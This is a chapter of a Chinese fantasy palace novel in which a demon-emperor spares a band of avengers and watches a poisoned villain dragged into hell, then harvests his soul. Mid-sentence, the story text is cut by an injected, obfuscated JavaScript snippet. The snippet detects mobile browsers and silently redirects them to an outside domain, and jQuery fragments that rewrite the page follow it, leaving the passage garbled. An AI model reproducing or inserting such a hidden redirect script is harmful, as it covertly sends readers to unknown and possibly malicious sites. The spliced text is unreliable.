一场联合起来的围杀和擅闯禁廷得到了意外的宽纵,即便刺客膝盖有点硬,也跟着旁人屈身向天子谢恩。
魔情继续问他们:“朕还有一个问题,此处是天家行宫,山下禁军把守严密,你们如何进来,又打算如何离去?”
高觉答:“御龙台东侧的观景台,其山壁上生有古藤,我等先行攀援而上,再接应其他人。”
东侧的山壁陡峭,两位剑客修为高,拦他们不住,但锦瑟能爬上来,想必也存了必死之志。
看样子离去也会是一番周折,魔情懒懒一挥手:“你们走吧,一旦天明,山下禁军巡查,更出不去了。”
现在的场面变得有些费解,地上趴着两个世家子,一死一昏迷,琼华池边站着一个少年天子,旁边是他的宠妃,即便众人能安然离去,解下来又怎生收场?众人一时间竟没法反应过来。
锦瑟易容而来,分明认出了沈纨,忧虑地看了她几眼,只是不便相认。
魔情见他们神色犹豫,从地上捡起徐正原的剑,向众人身后的栖梧殿飞掷出去,剑如一道银光掠过众人身后,穿透殿前的柱子,深深扎进去,直至没柄。
建造宫殿选用的木材,无不高大粗壮,随手掷出就穿透廊柱,是何等的功力,树干可不是血肉之躯。
高觉的武学已算当世英杰,也被这非人的力量所震撼,他不能置信地回过头,重新审视面前这少年。
“怎么还不走?怀疑朕会告密?若有心找你们麻烦,你们今夜这些人,一个也逃不掉,别浪费时间了。”
“既如此,草民谢过圣上。”
莲娘离去之时,沈纨突然喊住她:“娘子留步,我冒昧一问,你那几位姐妹,如今可妥善收殓了?”
此语似触动她,她驻足露出伤感之态,垂首道:“有劳贵人挂怀,朱大夫是善心人,多亏她相助,使我的几个姐妹并不至于曝尸荒野。”
她纳了一个很深的福才起身继续道:“民女今日才知,原来娘子是传闻中的沈婕妤,此前对贵人多有冒犯,又蒙慷慨相助,救命之恩,无以为报。”
“你……你今日为何要这么做?”
莲娘踟蹰片刻:“不瞒娘子,当初在医馆内,娘子仗义相助令民女铭感于心,‘虽然怕,但依然要做。’,贵人此语也令民女反复思量,这才鼓起了勇气。”
“惭愧,敢问娘子闺名?”
“我?”莲娘有些意外,但依然恭恭敬敬地答:“民女闺名傅莲心。”
“今日一面恐怕后会无期,还请傅娘子多保重,如今时候已不早,不敢耽搁各位,还请尽快离去吧。”
他们这次离去再也未多言,锦瑟也低着头离开了,只有高觉凤鸣这两位剑客向沈纨看过去一两眼,心照不宣地对视一瞬,又立刻别开了目光。
沈纨和天子在原地等了一会儿,宫门外并未传来明显动静,想来提前已经安排妥当,沈纨平复了下心情,她从刚才起就很紧张,待上阳宫内又重回安静,她才说道:“陛下是如何知道今夜上阳宫有事的?”
“我不知道哦,今日遇到这些人纯属意外。”
魔情抬起头,饕餮和混沌其实还在待命,最初的计划受到了这一段插曲的影响,以至于魔族预备的压轴戏吗现在才要登场。
琼华池边,死了一个,昏迷一个,气氛阴郁得可怕,沈纨难受得浑身发毛:“那么陛下今夜带妾身来此所为何事?”
“别急,好戏还没来呢。”天子往前几步,一脚把徐阐踢得翻过身来。
他的脸已经完全扭曲,满面黑血,完全看不出原本还算英俊的面容,暴突着双眼,眼皮还在微微翕动,他先看到了天子,又看到沈纨,露出非常怨恨的神色。
“咦?你还没死啊?”天子笑微微地看着他,语气听起来居然颇为愉快,徐阐中的毒猛恶剧烈,受蚀骨之痛,身体都烂掉了,发出难闻的气味,虽然他应受此报,但如此情状,一具被侵蚀,腐化的肉身在眼前,沈纨胃里翻江倒海,难受得站在原地,不愿再往前。
天子在他身前倾身问:“还有什么遗言要交代吗?”
他口中溢出黑血,竭尽全力地说:“我……被黑暗吞噬了……有什么东西……在追着我,永远无法满足……”
“我瞧着你家教不太好。”天子眼神冰冷,非常冷酷地看着他。
沈纨现在很不安,不知为何她心跳变得非常剧烈,不详的感觉越发浓厚,周围的宫灯明显黯淡下来,狂风骤起,但反常的是,她并未感到寒意,而是渐渐觉得有些热起来,周围景观骤变,好似有风暴在盘旋。
徐阐似乎意识到什么,眼神变得极其恐惧,而注视着他的小皇帝,竟然露出了有点不太像人的,妖异的微笑。
沈纨发觉地面和周遭的建筑开始颤抖摇晃,地动山摇,她一时间有些站不稳,天子退到她身边,伸出手扶住她。
“好好看看,这种事不太常见。”
一道裂缝自徐阐身下裂开,从幽暗的深渊里,无数的狱火自下涌出,裂缝逐渐扩大,冥火之外,另有红色的岩浆喷涌而出,裹住了徐阐的身体,他突然发出惨烈的尖啸,他身躯所有的皮肉融化,变成了一个通红的血人
无数骷髅的手从裂隙中伸出,像是饥饿已久的恶鬼,将他向深渊扯去。
场面太过血腥惨烈,沈纨惊叫着后退了一步。
身旁的天子伸出手来揽住她,手放在她肩上:“你此生可能再难见到第二回了,目睹一个活人下地狱。”
四周宫灯尽灭,冥火照亮夜空,沈纨听到了各种骨骼碎裂的声音,仿佛有什么钝器反复击打他的肉身,徐阐的叫声越加凄厉,天子在旁道:“这种人下去之前,会重历一遍他此前所作的一切。”
深渊下一片火海,无数亡灵和恶鬼在挣扎那些化为白骨的手从地狱中伸出,去扯徐阐,他再次发出极其痛苦的尖叫,他的身体裂开了,白骨将他拖下地狱,裂缝中喷出更多冥火,将他的身躯完
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16097429|179726||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
全覆盖,一时间裂缝冒出剧烈的强光,沈纨感到难以直视,被晃得什么都看不见了。
天子突然转身搂住她,把她的脑袋按在自己怀里:“觉得可怕就先别看了。”
再说,接下来也不是她该看的时候。
徐阐的灵魂窜出一股黑气,那些黑气聚拢到魔情的掌心,他的罪业被魔域收割,变成了魔公子掌心一团漆黑跳动的火焰。
一个邪恶的灵魂被献祭出去,从痛苦中提炼出了一个带着恶业的魂丹,成为魔族的食粮,栖梧殿前魔气激荡,魔公子金色的眼眸在冥火前亮得可怕。
魔情看着手中的黑焰,微微皱了皱眉,火焰的颜色已经不够纯粹了,一群不知道从哪里冒出来的凡人居然聚集起来,让他的计划出现了一点瑕疵,但对于他修为的恢复,多少有点作用。
可惜了,魔情心中微叹。
如果徐阐就这么无预兆地被冥狱接受,魂魄尚在世间的那些游荡的亡者会因为没能等来公道愈加怨恨,亡者的愤怒会助长黑暗,黑暗才是魔喜欢的食粮,但没想到,人间尚有一群素不相识的人联合起来,在官府的审判之外完成了复仇,慰藉了死者,也让那颗魂丹变得不如他预想中的那般邪恶了。
裂缝缓缓合拢,强光消退,可怕的惨叫也消失了,但沈纨耳朵嗡嗡响,仿佛那些尖啸还回荡在耳际,第一次接触到冥狱的气息,不论是看、听、还是嗅到的死亡气息,都可怖得难以言说,四周重归寂静,她默默从他怀中转过头来,徐阐的依然躺在地上,但他身下的地面出现一大片焦痕。
“欸?你怎么下地狱啦?”天子的语气轻快地弯腰看着徐阐的尸体,他的魂魄被拖入了深渊,不会再游荡在世间,而是直接去了地府的最深处。
他转头瞥了一眼沈纨,见她脸色发白,但并不像他所预料的那样恐惧,不由带了点笑意说道:“朕的沈婕妤胆识不错,看到这些都没有被吓着。”
沈纨慌张道:“当……当然还是怕的,其实妾现在话都说不出来了。”
她的心还跳得很厉害,完全无法平静,除了目睹一个人在她面前下了地狱之外,她觉得自己从此也多了一个秘密,她参与了一场复仇,通过因势利导,扮演了最初的一环,一个恶徒死了,而她也是共同的参与者。
而这一切,自认手眼通天,将凡人视为蚂蚁的魔将们都没有发现,混沌虽有全知的能力,但不是时时刻刻都会用心倾听世间的杂音。沈纨对他们而言,不过是个心地善良,亲近佛门的少女,见不得疾苦,所以她看到江湖客行侠仗义,却没有预料之中的好结果,会去送一帖金疮药。混沌万万没想到,这个微不足道的善举背面隐藏着切实的杀机,短短一句话,让一群素昧平生的人联合起来,最终导致了公子的计划出现了瑕疵。
母亲为了女儿,姐姐为了妹妹,而非亲非故的,也有人存了些许侠义心肠。
魔将们谁都没有发现,那个破坏公子计划的人,此刻恰恰就站在公子身旁。